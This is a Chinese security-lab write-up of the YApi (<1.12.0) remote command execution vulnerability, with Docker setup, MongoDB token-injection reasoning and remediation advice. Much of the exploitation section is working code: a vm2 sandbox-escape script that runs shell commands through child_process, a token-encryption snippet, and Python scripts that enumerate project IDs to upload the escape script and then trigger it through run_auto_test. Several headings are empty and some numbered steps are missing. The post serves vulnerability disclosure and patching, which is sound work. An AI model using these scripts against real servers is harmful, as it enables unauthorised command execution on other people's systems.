前言
实验室团队开发出一款自动化Web/API漏洞Fuzz的命令行扫描工具(工具地址:https://github.com/StarCrossPortal/scalpel)。本周将重点持续更新漏洞POC库,已新增多个热门组件的漏洞检测规则。功能方面:在前三个版本已陆续修复相关BUG问题,目前对扫描器结果展示也进行了优化,预计在下个版本进行更新。后续也会对使用说明文章进行补充,方便大家使用。
YApi介绍
github:https://github.com/YMFE/yapi/tree/master
漏洞描述
YApi 是一个支持本地部署的可视化接口管理平台。YApi 在 1.12.0 之前的版本(目前所有版本)中由于 base.js 没有正确对 token 参数进行正确过滤,导致存在远程代码执行漏洞。攻击者可通过MongoDB注入获取用户 token,其中包括用户ID、项目ID等参数。yapi后台的pre-request和pre-response方法存在缺陷点,通过注入调用自动化测试接口runAutoTest(),进而利用沙箱逃逸触发命令执行。
漏洞版本
YApi < 1.12.0
环境搭建
git clone https://github.com/fjc0k/docker-YApi
cd docker-YApi
vim docker-compose.yml
docker-compose up -d
version: '3'
services:
yapi-web:
image: jayfong/yapi:1.10.2
container_name: yapi-web
ports:
- 40001:3000
environment:
- [email protected]
- YAPI_ADMIN_PASSWORD=adm1n
- YAPI_CLOSE_REGISTER=true
- YAPI_DB_SERVERNAME=yapi-mongo
- YAPI_DB_PORT=27017
- YAPI_DB_DATABASE=yapi
- YAPI_MAIL_ENABLE=false
- YAPI_LDAP_LOGIN_ENABLE=false
- YAPI_PLUGINS=[]
depends_on:
- yapi-mongo
links:
- yapi-mongo
restart: unless-stopped
yapi-mongo:
image: mongo:latest
container_name: yapi-mongo
volumes:
- ./data/db:/data/db
expose:
- 27017
restart: unless-stopped
使用 docker ps 查看环境搭建成功。
默认密码:adm1n
docker安装后、需要创建项目、添加接口。
创建项目
添加接口
设置接口状态
导入接口
接口环境设置
若为本地搭建,环境域名修改为:127.0.0.1:40001
接口测试
漏洞复现
修复记录
2、默认关闭Pre-request 和 Pre-respones
修复方式:在if 判断中增加对参数token的验证,token 必须为字符串。
复现思路:
4、调用自动化测试接口触发逃逸脚本
token爆破
tokens为False,经 if(!tokens) 条件判断后进入 getProjectIdByToken()。该方法使用在请求中获取到的token,查询项目id。在getProjectIdByToken() 内部会调用server/models/token.js#findId()。
mongdb介绍:MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
mongdb注入:https://www.anquanke.com/post/id/250101#h3-4
aes192 加密token
const crypto = require('crypto');
uid = "11"
token = "92af239a4e189e1661db"
data = uid + "|" + token
password = "abcde"
// 如下方法使用指定的算法与密码来创建cipher对象
const cipher = crypto.createCipher('aes192', password);
// 使用该对象的update方法来指定需要被加密的数据
let crypted = cipher.update(data, 'utf-8', 'hex');
crypted += cipher.final('hex');
console.log(crypted)
上传vm2逃逸脚本
YApi pre-script:通过自定义 js 脚本方式改变请求的参数和返回的 response 数据。
pre-script 官方介绍:https://hellosean1025.github.io/yapi/documents/project.html#%e8%af%b7%e6%b1%82%e9%85%8d%e7%bd%ae
vm2介绍:vm2 是一个沙箱,可以使用列入白名单的 Node 内置模块运行不受信任的代码。
vm2版本为:3.8.4
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)
{"id":14,"pre_script":"","after_script":""}
import re
token = "bfe07e1692ac38a3babc6438caffe92769f365e1f23caccf960ce46f48244dbc"
url = f'http://xxxxxxxx:40001/api/project/up?token={token}'
headers = {
"content-type":"application/json"
}
vm2Script = """
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)
"""
body_json = {"id":1,
"pre_script":"",
"after_script":vm2Script}
print(body_json)
id = 1
while id:
body_json["id"] = id ## 项目id 需要枚举
resp = requests.post(url=url,headers=headers,json=body_json)
print(resp.status_code)
print(resp.text)
if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):
print("[*] pre-response 脚本上传成功")
id = False
else:
print("[*] pre-response 脚本上传失败")
id+=1
print(id)
漏洞触发
import requests
import re
token = "bfe07e1692ac38a3babc6438caffe92769f365e1f23caccf960ce46f48244dbc"
id = 1
while id:
url =f'http://xxxxxxxx:40001/api/open/run_auto_test?id={id}&token={token}&mode=html'
resp = requests.get(url=url)
if re.search("YAPI",resp.text) and re.search("<!DOCTYPE html>",resp.text):
print("[*] 命令执行成功")
# print(url)
print("===")
print(id)
print(re.search("testtest[\s\S]*testtest",resp.text)[0])
id = False
break
print(url)
id += 1
exit()
脚本测试
修复建议
1、目前EXP已公开,受影响用户升级到最新 1.12.0 版本:https://github.com/YMFE/yapi/releases/tag/v1.12.0
相关参考
7.https://www.anquanke.com/post/id/250101#h3-4
漏洞检测工具
关于Portal Lab
星阑科技 Portal Lab 致力于前沿安全技术研究及能力工具化。主要研究方向为API 安全、应用安全、攻防对抗等领域。实验室成员研究成果曾发表于BlackHat、HITB、BlueHat、KCon、XCon等国内外知名安全会议,并多次发布开源安全工具。未来,Portal Lab将继续以开放创新的态度积极投入各类安全技术研究,持续为安全社区及企业级客户提供高质量技术输出。
原文始发于微信公众号(星阑实验室):【技术干货】YApi <1.12.0 远程命令执行漏洞